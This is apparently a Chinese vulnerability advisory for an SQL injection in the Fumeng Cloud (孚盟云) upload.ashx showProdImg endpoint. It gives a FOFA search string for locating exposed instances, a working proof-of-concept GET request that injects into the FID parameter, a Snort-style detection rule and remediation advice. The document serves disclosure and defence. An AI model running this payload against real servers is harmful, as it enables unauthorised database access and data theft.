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孚盟云 upload.ashx showProdImg处存在SQL注入漏洞

孚盟云 upload.ashx showProdImg处存在SQL注入漏洞,攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

孚盟软件-孚盟云

漏洞状态

漏洞细节 漏洞POC 漏洞EXP 在野利用
已公开 已公开 已知

风险等级

维度 评价
威胁等级 高危
影响面 广
攻击者价值
利用难度

漏洞复现

FOFA:app="孚盟软件-孚盟云"

POC/EXP:

GET /Ajax/upload.ashx?action=showProdImg&FID=1')+AND+1=@@VERSION-- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive

image-20250911142639701

sonrt规则:

alert http any any -> $HOME_NET any (
    msg:"Fumeng Cloud - MSSQL Version Disclosure via showProdImg";
    flow:to_server,established;
    http.method; content:"GET";
    http.uri; content:"/Ajax/upload.ashx";
    http.uri; content:"action=showProdImg";
    http.uri; pcre:"/FID=[^&]*'\)%2BAND%2B1=@@VERSION--/i";
    metadata:
        cve none,
        service http,
        affected_product "孚盟云",
        vulnerability_type "MSSQL Version Disclosure",
        attack_target "database_server",
        severity "high";
    classtype:sql-injection;
    sid:1000494;
    rev:1;
    priority:1;
)

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。